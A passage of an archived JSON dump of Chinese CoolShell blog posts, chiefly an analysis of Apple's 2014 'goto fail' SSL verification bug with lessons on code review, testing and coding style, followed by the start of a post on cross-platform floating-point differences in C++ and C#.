src=\"http://blog.interfacevision.com/assets/img/posts/example_visual_language_winworkflow_01.png\"/><img alt=\"\"/></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19612.html\"><img alt=\"50年前的登月程序和程序员有多硬核\" height=\"150\" src=\"../wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19612.html\">50年前的登月程序和程序员有多硬核</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17929.html\"><img alt=\"Go编程模式：修饰器\" height=\"150\" src=\"../wp-content/uploads/2017/06/go-hardhat-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17757.html\"><img alt=\"如何重构“箭头型”代码\" height=\"150\" src=\"../wp-content/uploads/2017/04/IMG_7411-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17757.html\">如何重构“箭头型”代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11656.html\"><img alt=\"开发团队的效率\" height=\"150\" src=\"../wp-content/uploads/2014/06/software_development-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11656.html\">开发团队的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11265.html\"><img alt=\"Python修饰器的函数式编程\" height=\"150\" src=\"../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11265.html\">Python修饰器的函数式编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11094.html\">可视化编程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-2-24 由苹果的低级Bug想到的.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-full wp-image-11123\" height=\"158\" src=\"../wp-content/uploads/2014/02/apple_goto_fail.png\" width=\"260\"/> 2014年2月22日，在这个“这么二”的日子里，苹果公司推送了 iOS 7.0.6（版本号11B651）修复了 SSL 连接验证的一个 bug。官方网页在这里：<a href=\"http://support.apple.com/kb/HT6147\" target=\"_blank\">http://support.apple.com/kb/HT6147</a>，网页中如下描述：</p>\n<blockquote><p><strong>Impact</strong>: An attacker with a privileged network position may capture or modify data in sessions protected by SSL/TLS</p>\n<p><strong>Description</strong>: Secure Transport failed to validate the authenticity of the connection. This issue was addressed by restoring missing validation steps.</p></blockquote>\n<p>也就是说，这个bug会引起中间人攻击，bug的描述中说，这个问题是因为miss了对连接认证的合法性检查的步骤。</p>\n<p>这里多说一句，<strong>一旦网上发生任何的和SSL/TL相关的bug或安全问题，不管是做为用户，还是做为程序员的你，你一定要高度重视起来</strong>。因为这个网络通信的加密协议被广泛的应用在很多很多最最需要安全的地方，如果SSL/TLS有问题的话，意味着这个世界的计算机安全体系的崩溃。</p>\n<h4>Bug的代码原因</h4>\n<p>Adam Langley的《<a href=\"https://www.imperialviolet.org/2014/02/22/applebug.html\">Apple’s SSL/TLS bug</a> 》的博文暴出了这个bug的细节。（在苹果的开源网站上，通过查看苹果的和SSL/TLS有关的代码变更，我们可以在文件<a href=\"http://opensource.apple.com/source/Security/Security-55471/libsecurity_ssl/lib/sslKeyExchange.c\" target=\"_blank\">sslKeyExchange.c</a>中找到下面的代码）</p>\n<p><span id=\"more-11112\"></span></p>\n<pre class=\"EnlighterJSRAW\">static OSStatus\nSSLVerifySignedServerKeyExchange(SSLContext *ctx, bool isRsa, SSLBuffer signedParams,\n                                 uint8_t *signature, UInt16 signatureLen)\n{\n\tOSStatus        err;\n\t...\n\n\tif ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;serverRandom)) != 0)\n\t\tgoto fail;\n\tif ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;signedParams)) != 0)\n\t\tgoto fail;\n\t\tgoto fail;\n\tif ((err = SSLHashSHA1.final(&amp;hashCtx, &amp;hashOut)) != 0)\n\t\tgoto fail;\n\terr = sslRawVerify(ctx,\n                       ctx-&gt;peerPubKey,\n                       dataToSign,\t\t\t\t/* plaintext */\n                       dataToSignLen,\t\t\t/* plaintext length */\n                       signature,\n                       signatureLen);\n\tif(err) {\n\t\tsslErrorLog(\"SSLDecodeSignedServerKeyExchange: sslRawVerify \"\n                    \"returned %d\\n\", (int)err);\n\t\tgoto fail;\n\t}\n\nfail:\n    SSLFreeBuffer(&amp;signedHashes);\n    SSLFreeBuffer(&amp;hashCtx);\n    return err;\n}</pre>\n<p>注意，我高亮的地方，也就是那里有两个goto fail; 因为if语句没有加大括号，所以，只有第一个goto是属于if的，而第二个goto则是永远都会被执行到的（注：这里不是Python是C语言，缩进不代表这个语句属于同一个语句块）。也就是说，就算是前面的if检查都失败了（err  == 0），也会goto fail。我们可以看到fail标签中释放完内存后就会return err;</p>\n<p>你想一下，<strong>这段程序在SSLHashSHA1.update()  返回成功，也就是返回0 的时候会发生什么样的事？是的，真正干活的 sslRawVerify()被bypass了。而且这个函数SSLVerifySignedServerKeyExchange() 还返回了0，也就是成功了！</strong>尼玛！你可能想到酷壳网上之前《<a href=\"https://coolshell.cn/articles/4875.html\" target=\"_blank\" title=\"一个空格引发的惨剧\">一个空格引发的惨剧</a>》的文章。都是低级bug。</p>\n<p>这个低级bug在这个周末在网上被炒翻了天，你可以<strong><a href=\"https://twitter.com/search?q=%23gotofail\" target=\"_blank\">上Twiter上看看#gotofail的标签的盛况</a></strong>。<strong>Goto Fail必然会成为历史上的一个经典事件</strong>。</p>\n<p>如果你喜欢XKCD，你一定会想到这个漫画：</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"201\" src=\"https://sslimgs.xkcd.com/comics/goto.png\" width=\"740\"/></p>\n<p><span style=\"line-height: 1.5em;\"><strong>注意</strong>：这个bug不会影响TLS 1.2版本，因为1.2版本不会用这个函数，走的是另一套机制。但是别忘了client端是可以选择版本的。</span></p>\n<p>如果你想测试一下你的浏览器是否会有问题，<strong>你可以上一下当天就上线的<a href=\"https://gotofail.com/\" target=\"_blank\"> https://gotofail.com</a> 网站</strong></p>\n<h4>一些思考</h4>\n<p>下面是我对这个问题的一些思考。</p>\n<h5>0）关于编译报警</h5>\n<p>有人在说苹果的这个代码中的goto语句会产生死代码——dead code，也就是永远都不会执行到的代码，C/C++的编程器是会报警的。但，实际上，dead code在默认上的不会报警的。即使你加上-Wall，GCC 4.8.2 或 Clang 3.3 都不会报警，包括Visual Studio 2012在默认的报警级别也不会（默认是/W3级，需要上升到/W4级以上，但是升级到/W4上，你的工程可能会有N多的Warning，你不一定能看得过来）。gcc和Clang有一个参数叫：-Wunreachable-code，是可以对这种情况报警的，但即没有被包括在-Wall里。原因是，这个参数有很多的问题，因为编译器的优化代码的行为，这个参数并不能对每种情况都准确地报告。另请注意，GCC的新版本中剔除了这个参数。当然，其它一些静态的代码检查工具也可以检查这个低级的问题。</p>\n<p>另外，是不是用IDE的代码自动化格式工具也可以帮上一点忙呢？至少可以把那个缩进变成让人一看就觉得有问题。</p>\n<h5>1）关于Code Merge 和 Code Review</h5>\n<p>你可以通过这里的代码比较看到这个bug的diff，也可以到<a href=\"https://gist.github.com/alexyakoubian/9151610/revisions\" target=\"_blank\">这里看看</a>（631行）。</p>\n<blockquote style=\"font-size: 11px;\"><p>diff -urN &lt;(curl -s http://opensource.apple.com/source/Security/Security-55179.13/libsecurity_ssl/lib/sslKeyExchange.c\\?txt) \\ &lt;(curl -s http://opensource.apple.com/source/Security/Security-55471/libsecurity_ssl/lib/sslKeyExchange.c\\?txt) \\</p></blockquote>\n<p>通过code diff你可以看到，<strong>苹果公司是在重构代码——为很多函数去掉了ctx的参数</strong>。</p>\n<p>所以，我们可以猜测，两个goto fail语句，可能是因为对code在不同branch上做merge发生的。版本工具merge代码的时候，经常性的会出现这样的问题。如果代码的diff很多，这个问题会很容易就没有注意到。就算有code review，这个有问题的代码也很难被找出来的。<strong>如果你来review下面的diff，你会注意到这个错误吗？</strong></p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"275\" src=\"../wp-content/uploads/2014/02/gotofail.jpg\" width=\"560\"/></p>\n<p>也就是说，在重构分支上的代码是对的，但是在分支merge的时候，被merge工具搞乱了。所以说，<strong>我们在做code merge的时候，一定要小心小心再小心，不能完全相信merge工具</strong>。</p>\n<h5>2）关于测试</h5>\n<p>很明显，这个bug很难被code review发现。对于重构代码和代码merge里众多的diff，是很难被review的。</p>\n<p>当然，“事后诸葛亮”的人们总是很容易地说这个问题可以被测试发现，但是实际情况是这样的吗？</p>\n<p>这个问题也很难被功能测试发现，因为这个函数在是在网络握手里很深的地方，功能 测试不一定能覆盖得那么深，你要写这样的case，必需对TLS的协议栈非常熟悉，熟悉到对他所有的参数都很熟悉，并能写出针对每一个参数以及这些参数的组合做一堆test case，这个事情也是一件很复杂的事。要写出所有的case本身就是一件很难很难的事情。关于这个叫SSLVerifySignedServerKeyExchange()函数的细节，你可以看看相关的<a href=\"https://tools.ietf.org/html/rfc5246#section-7.4.3\">ServerKeyExchange</a> RFC文档。</p>\n<p>如果只看这个问题的话，你会说对这个函数做的 Unit Test 可以发现这个问题，是的。但是，别忘了SSL/TLS这么多年了，这些基础函数都应该是很稳定的了， 在事前，我们可能不会想到要去为这些稳定了多少年的函数写几个Unit Test。</p>\n<p><strong>只要有足够多的时间，我们是可以对所有的功能点，所有的函数都做UT，也可以去追求做代码覆盖和分支覆盖一样。但有一点我们却永远无法做到，那就是——穷举所有的负面案例</strong>。所以，对于测试来说，我们不能走极端，需要更聪明的测试。就像我在《<a href=\"https://coolshell.cn/articles/6994.html\" target=\"_blank\" title=\"我们需要专职的QA吗？\">我们需要专职的QA</a>》文章里的说过的——<strong>测试比coding难度大多了，测试这个工作只有高级的开发人员才做得好。我从来不相信不写代码的人能做好测试。</strong></p>\n<p>这里，<strong>我并不是说通过测试来发现这个问题的可能性不大，我想说的是，测试很重要，单测更重要。但是，我们无法面面俱到</strong>。在我们没有关注到的地方，总会发生愚蠢的错误。</p>\n<p>P.S.，在各大网站对这个事的讨论中，我们可以看到OS X下的curl命令居然可以接受一个没有验证过的IP地址的https的请求，虽然现在还没有人知道这事的原因，但是，这可能是没有在测试中查到的一个原因。</p>\n<h5>3）关于编码风格</h5>\n<p><span style=\"line-height: 1.5em;\">对于程序员来说，在C语言中，省掉语句大括号是一件非常不明智 的事情。如我们强制使用语句块括号，那么，这两个goto fail都会在一个if的语句块里，而且也容易维护并且易读。（另外，通过这个bug，我们可以感受到，像Python那样，用缩进来表示语句块，的确是挺好的一件事）</span></p>\n<p>也有人说，如果你硬要用只有单条语句，且不用语句块括号，那么，这就是一条语句，应该放在同一行上。如下所示：</p>\n<p><code class=\"EnlighterJSRAW\">if  (check_something)   do_something(); </code></p>\n<p>但是这样一来，你在单步调试代码的时候，就有点不爽了，当你step over的时候，你完全不知道if的条件是真还是假。所以，还是分多行，加上大括号会好一些。</p>\n<p>相似的问题，我很十多年前也犯过，而且那次我出的问题也比较大，导致了用户的数据出错。那次就是维护别人的代码，别人的代码就是没有if的语句块括号，就像苹果的代码那样。<span style=\"line-height: 1.5em;\">我想在return z之前调用一个函数，结果就杯具了：</span></p>\n<pre class=\"EnlighterJSRAW\">if ( ...... )\n    return x;\nif ( ...... )\n    return y;\nif ( ...... )\n    foo();\n    return z;</pre>\n<p>这个错误一不小心就犯了，因为人的大脑会相当然地认为缩进的都是一个语句块里的。但是如果原来的代码都加上了大括号，然后把缩进做正常，那么对后面维护的人会是一个非常好的事情。就不会犯我这个低级错误了。就像下面的代码一样，虽然写起来有点罗嗦，但利人利己。</p>\n<pre class=\"EnlighterJSRAW\">if ( ...... ){\n    return x;\n}\nif ( ...... ){\n    return y;\n}\nif ( ...... ){\n    return z;\n}</pre>\n<p>与此类似的代码风格还有如下，你觉得哪个更容易阅读呢？</p>\n<ul>\n<li>if (!p)    和  if (p == NULL)</li>\n</ul>\n<ul>\n<li>if (p)    和  if (p != NULL)</li>\n</ul>\n<ul>\n<li>if (!bflag)  和 if  (bflag == false)</li>\n</ul>\n<ul>\n<li>if ( CheckSomthing() )  和 if ( CheckSomething() == true )</li>\n</ul>\n<p>另外还有很多人在switch 语句里用case来做if，也就是说case后面没有break。就像<a href=\"http://en.wikipedia.org/wiki/Duff's_device\" target=\"_blank\">Duff’s Device</a>一样，再配以goto，代码就写得相当精彩了（这里<a href=\"https://github.com/agentzh/luajit2/blob/master/src/host/buildvm.c#L395\" target=\"_blank\">有个例子</a>）</p>\n<p><span style=\"line-height: 1.5em;\">所以说，代码不是炫酷的地方是给别人读的。</span></p>\n<p>另外，我在想，为什么苹果的这段代码不写成下面这样的形式？你看，下面这种情况不也很干净吗？</p>\n<pre class=\"EnlighterJSRAW\">\nif (  ((err = ReadyHash(&amp;SSLHashSHA1, &amp;hashCtx)) != 0 )\n       || ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;clientRandom)) != 0)\n       || ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;serverRandom) != 0)\n       || ((err = SSLHashSHA1.update(&amp;hashCtx, &amp;signedParams) != 0)\n       || ((err = SSLHashSHA1.final(&amp;hashCtx, &amp;hashOut)) != 0)) {\n\n     goto fail;\n}\n</pre>\n<p>其实，还可以做一些代码上的优化，比如，把fail标签里的那些东西写成一个宏，这样就可以去掉goto语句了。</p>\n<h5>4）关于goto语句</h5>\n<p>关于goto语句，1968年，<a href=\"http://en.wikipedia.org/wiki/Edsger_Dijkstra\">Edsger Dijkstra</a> 投了一篇文章到Communications of the ACM。原本的标题是《A Case Against the Goto Statement》。CACM编辑<a href=\"http://en.wikipedia.org/wiki/Niklaus_Wirth\">Niklaus Wirth</a>灵感来了，把标题改为我们熟知的 《<a href=\"http://www.u.arizona.edu/~rubinson/copyright_violations/Go_To_Considered_Harmful.html\" target=\"_blank\">Go To Statement Considered Harmful</a>》Dijkstra写的内容也是其一贯的犀利语气，文中说：“几年前我就观察到，一个程序员的品质是其程序中goto语句的密度成反比的”，他还说，“后来我发现了为什么goto语句的使用有这么严重的后果，并相信所有高级语言都应该把goto废除掉。”  （<strong>花絮</strong>：因为，这篇文章的出现，计算学界开始用’ <a href=\"http://en.wikipedia.org/wiki/Considered_harmful\">X considered harmful</a> ‘当文章标题的风潮，直到<a href=\"http://meyerweb.com/eric/comment/chech.html\">有人终于受不了</a>为止）</p>\n<p>为什么goto语句不好呢？Dijkstra说，一个变量代表什么意义要看其上下文。一个程序用N<code></code>记录房间里的人数，在大部分时候，N<code></code>代表的是“目前房间里的人”。但在观察到又有一个人进房间后、把N<code></code>递增的指令前的这段程序区块中，N<code></code>的值代表的是“目前房间里的人数加一”。因此，要正确诠释程序的状态，必须知道程序执行的历史，或着说，知道现在“算到哪”了。</p>\n<p>怎么谈“算到哪了”？如果是一直线执行下来的程序，我们只要指到那条语句，说“就是这里”，就可以了。如果是有循环程序，我们可能得说：“现在在循环的这个地方，循环已经执行了第<code>i</code>次”。如果是在函数中，我们可能得说：“现在执行到函数<code>p</code>的这一点；<code>p</code>刚刚被<code>q调用</code>，调用点在一个循环中，这个循环已经执行了<code>i</code>次”。</p>\n<p>如果有goto<code>语句了</code>呢？那就麻烦了。因为电脑在执行某个指令前，可能是从程序中许许多多goto<code></code>其中之一跳过来的。要谈某变量的性质也几乎变得不可能了。这就是为什么goto语句问题。</p>\n<p>Dijkstra的这篇文章对后面很多程序员有非常深的影响，包括我在内，都觉得Goto语句能不用就不用，虽然，我在十年前的《<a href=\"http://blog.csdn.net/haoel/article/month/2003/05\" target=\"_blank\">编程修养</a>》（这篇文章已经严重过时，某些条目已经漏洞百出）中的<a href=\"http://blog.csdn.net/haoel/article/details/2876\" target=\"_blank\">第23条</a>也说过，我只认为在goto语句只有一种情况可以使用，就是苹果这个bug里的用法。但是我也同意Dijkstra，goto语句能不用就不用了。就苹果的这个问题而言，在更为高级的C++中，<a href=\"http://en.wikipedia.org/wiki/Resource_Acquisition_Is_Initialization\" target=\"_blank\">使用RAII技术</a>，这样的goto语句已经没有什么存在的意义了。</p>\n<p>Dijkstra这篇文章后来成为结构化程式论战最有名的文章之一。长达19年之后，Frank Rubin投了一篇文章到CACM,标题为《<a href=\"http://www.ecn.purdue.edu/ParaMount/papers/rubin87goto.pdf\">‘ <code></code>Go To Considered Harmful’ Considered Harmful</a> 》Rubin说，「虽然Dijkstra的说法既太学术又缺乏说服力」，却似乎烙到每个程序员的心里了。这样，当有人说“用goto语句来解这题可能会比较好”会被严重鄙视。于是Rubin出了一道这样的题：令<code>X</code>为<code>N * N</code>的整数阵列。如果<code>X</code>的第<code>i</code>行全都是零，请输出<code>i</code>。如果不只一行，输出最小的<code>i</code> .</p>\n<p>Rubin找了一些惯用goto和不用goto的程序员来解题，发现用goto的程序又快又清楚。而不用goto通常花了更多的时间，写出很复杂的解答。你觉得呢？ 另外，你会怎么写这题的程序呢？</p>\n<p>（<strong>花絮</strong>：以后几个月的CACM热闹死了。编辑收到许多回应，两个月后刊出了其中五篇。文章也包括了《<a href=\"http://www.ecn.purdue.edu/ParaMount/papers/acm_may87.pdf\">“‘GOTO Considered Harmful’ Considered Harmful” Considered Harmful?</a> 》）</p>\n<p><strong>对于我而言，goto语句的弊远远大于利，在99%的情况下，我是站在反goto这边的</strong>。Java和Python就没有提供Goto语句，原因就是因为goto语句很容易被滥用！</p>\n<p><strong>更新：2014年3月5日</strong> – RedHat 近日也发现个GnuTLS安全问题，与苹果的类似：无法正确检验特定的伪造SSL证书，这个总是会将伪造证书识别为有效证书。虽然Redhat的代码为if加上了花括号，但还是因为没有控制好goto，造成了bug。所以说啊，goto语句的坑是很多。</p>\n<ul>\n<li>BUG页面：<a href=\"https://bugzilla.redhat.com/show_bug.cgi?id=1069865\" target=\"_blank\">https://bugzilla.redhat.com/show_bug.cgi?id=1069865</a></li>\n</ul>\n<ul>\n<li>相关的Diff: <a href=\"https://bugzilla.redhat.com/attachment.cgi?id=867911&amp;action=diff\" target=\"_blank\">https://bugzilla.redhat.com/attachment.cgi?id=867911&amp;action=diff</a></li>\n</ul>\n<p>goto语句在写代码的时候也许你会很爽，但是在维护的时候，绝对是一堆坑！redhat的这个patch为原来本来只有一个label的goto又加了另一个label，现在两个label交差goto，继续挖坑……</p>\n<h4>总结</h4>\n<p>你看，我们不能完全消灭问题，但是，我们可以用下面几个手段来减少问题：</p>\n<p style=\"padding-left: 30px;\">1）<strong>尽量在编译上发生错误，而不是在运行时</strong>。</p>\n<p style=\"padding-left: 30px;\">2）<strong>代码是让人读的，顺便让机器运行</strong>。不要怕麻烦，好的代码风格，易读的代码会减少很多问题。</p>\n<p style=\"padding-left: 30px;\">3）<strong>Code Review是一件很严肃的事情</strong>，但 Code Reivew的前提条件是代码的可读性一定要很好。</p>\n<p style=\"padding-left: 30px;\">4）<strong>测试是一件很重要也是很难的事情，尤其是开发人员要非常重视</strong>。</p>\n<p style=\"padding-left: 30px;\">5）<strong>不要走飞线，用飞线来解决问题是可耻的！</strong>所以，用goto语句来组织代码的时代过去了，你可以有很多种方式不用goto也可以把代码组织得很好。</p>\n<p>最后，我在淘宝过去的一年里，经历过一些P1/P2故障，尤其是去年的8-9月份故障频发的月份，我发现其中有70%的P1/P2故障，就是因为没有code review，没有做好测试，大量地用飞线来解决问题，归根结底就是只重业务结果，对技术没有应有的严谨的态度和敬畏之心。</p>\n<p><span style=\"color: #cc0000;\"><strong>正如苹果的这个“goto fail”事件所暗喻的，如果你对技术没有应有的严谨和敬畏之心，你一定会——</strong></span></p>\n<p style=\"text-align: center; font-size: 36px; color: #cc0000; font-family: Georgia,;\"><strong>Go To Fail !!!</strong></p>\n<p>在这里唠叨这么多，与大家共勉！</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11112.html\">由苹果的低级Bug想到的</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-3-15 一个浮点数跨平台产生的问题.html",
    "content": "<html><body><p><strong>感谢网友<a href=\"http://www.tanglei.name/\" target=\"_blank\">唐磊</a>（微博@<a href=\"http://weibo.com/tangleithu?from=feed&amp;loc=nickname\" title=\"唐磊_name\">唐磊_name</a>）投稿，本文原文在唐磊的博客上（<a href=\"http://www.tanglei.name/a-bug-relate-with-float-point-between-x86-and-x64-in-csharp/\">原文地址</a>），原文分析还不够好，而且可能对人有误导，所以，我对原文做了很多修改，并加了Linux下的内容。浮点数是一个很复杂的事情，希望这篇文章有助于大家了解浮点数与其相关的C/C++的编译选项。</strong>（注：我没有Windows 32位以及C#的环境，所以，对于Windows 32位的程序和C#的程序没有验证过）</p>\n<p>背景就简单点儿说，最近一个项目C#编写，涉及浮点运算，来龙去脉省去，直接看如下代码。</p>\n<pre class=\"EnlighterJSRAW\">float p3x = 80838.0f;\nfloat p2y = -2499.0f;\ndouble v321 = p3x * p2y;\nConsole.WriteLine(v321);</pre>\n<p>很简单吧，马上笔算下结果为-202014162，没问题，难道C#没有产生这样的结果？不可能吧，开启Visual Studio，copy代码试试，果然结果是-202014162。就这样完了么？显然没有！你把编译时的选项从AnyCPU改成x64试试~(服务器环境正是64位滴哦！！)结果居然边成了-202014160，对没错，就是-202014160。有点不相信，再跑两遍，仍然是-202014160。呃，想通了，因为浮点运算的误差，-202014160这个结果是合理的。</p>\n<p>为什么合理呢？很正常，因为上面的p3x和p2y是两个float类型，虽然v321是double，但也是两个float类型计算完后再转成double的，<strong>float的精度本来也只有7位，所以，对于这个上亿的数，自然没有办法保证精度</strong>。</p>\n<p><strong>但是为什么修改CPU的type会有不同的效果？</strong>嗯，我们再试试C/C++。</p>\n<p><span id=\"more-11235\"></span></p>\n<pre class=\"EnlighterJSRAW\">#include\nusing namespace std;\n\nint main()\n{\n    float p3x = 80838.0f;\n    float p2y = -2499.0f;\n    double v321 = p3x * p2y;\n    std::cout.precision(15);\n    std::cout &lt;&lt; v321 &lt;&lt; std::endl;\n\n    return 0;\n}\n</pre>\n<p>上面这段C++代码在不同的平台下的结果如下：</p>\n<ul>\n<li>Windows 32/64位下：-202014160</li>\n<li>Linux 64位下（CentOS 6 gcc 4.4.7）-202014160，</li>\n<li>Linux 32位下（Ubuntu 12.04+ gcc 4.6.3）是：-202014162</li>\n</ul>\n<p><strong>合理的结果应该是-202014160，正确的运算结果是-202014162</strong>，合理性是浮点精度不够造成的（文后解释了合理性）。若是用两个double相乘可得正确且合理的运算结果（注：把上面C++的程序中的p3x和p2y的类型声明成double，就能得到正确的结果，因为double是双精度的，float是单精度，所以double有足够的位数存放更多的数位）。<strong>但是我们有点不明白，为什么Linux 32位下，居然能算出“正确”的数，而不是“合理”的数</strong>。</p>\n<p>与C++一样，C#在32位和64位（DEBUG下，这个后面会说）下没有得到一致的结果，那我们来看一下C++/C#的汇编代码（使用gdb的disassemble /m main 命令，另外下面只显示 float * float 然后转成double的那一行代码的汇编）</p>\n<p><strong>Linux平台下用G++编译</strong></p>\n<pre class=\"EnlighterJSRAW\">//C++ 32位系统下 Ubuntu 12.04\n8\t    double v321 = p3x * p2y;\n   0x0804860f &lt;+27&gt;:\tflds   0x18(%esp)\n   0x08048613 &lt;+31&gt;:\tfmuls  0x1c(%esp)\n   0x08048617 &lt;+35&gt;:\tfstpl  0x10(%esp)\n\n.......</pre>\n<pre class=\"EnlighterJSRAW\">//C++ 64位系统下 CentOS 6\n9           double v321 = p3x * p2y;\n   0x000000000040083c &lt;+24&gt;:    movss  -0x20(%rbp),%xmm0\n   0x0000000000400841 &lt;+29&gt;:    mulss  -0x1c(%rbp),%xmm0\n   0x0000000000400846 &lt;+34&gt;:    unpcklps %xmm0,%xmm0\n   0x0000000000400849 &lt;+37&gt;:    cvtps2pd %xmm0,%xmm0\n   0x000000000040084c &lt;+40&gt;:    movsd  %xmm0,-0x18(%rbp)</pre>\n<p><strong>Windows平台下用Visual Studio编译</strong></p>\n<pre class=\"EnlighterJSRAW\">//C# AnyCPU编译，Windows VS2012\ndouble v321 = p3x * p2y;\n00000049  fld         dword ptr [ebp-40h]\n0000004c  fmul        dword ptr [ebp-44h]\n0000004f  fstp        qword ptr [ebp-4Ch]</pre>\n<pre class=\"EnlighterJSRAW\">//C# X64位编译 Windows7 VS2012\ndouble v321 = p3x * p2y;&lt;/pre&gt;\n009B43B8 movss xmm0,dword ptr [p3x]\n009B43BD mulss xmm0,dword ptr [p2y]\n009B43C2 cvtss2sd xmm0,xmm0\n009B43C6 movsd mmword ptr [v321],xmm0</pre>\n<p>从上面的汇编代码可以看出，无论是Linux和Windows，C++或C# 32位和64对浮点数的汇编指令并不一样。 32位生成代码用的指令是fld/fmul/fstp等，而64位下的使用了movss/mulss/movsd/的指令。看下来，似乎这个事情和平台有关系。</p>\n<p>我们继续调查，我们发现，其中fld/fmul/fstp等指令是由<strong>FPU</strong>(float point unit)浮点运算处理器做的，准确的说，是FPU x87指令，FPU在进行浮点运算时，用了<strong>80位</strong>的寄存器做相关浮点运算，然后再根据是float/double截取成32位或64位，FPU默认上会尽量减少由于需要四舍五入带来的精度问题。可参看浮点运算标准<a 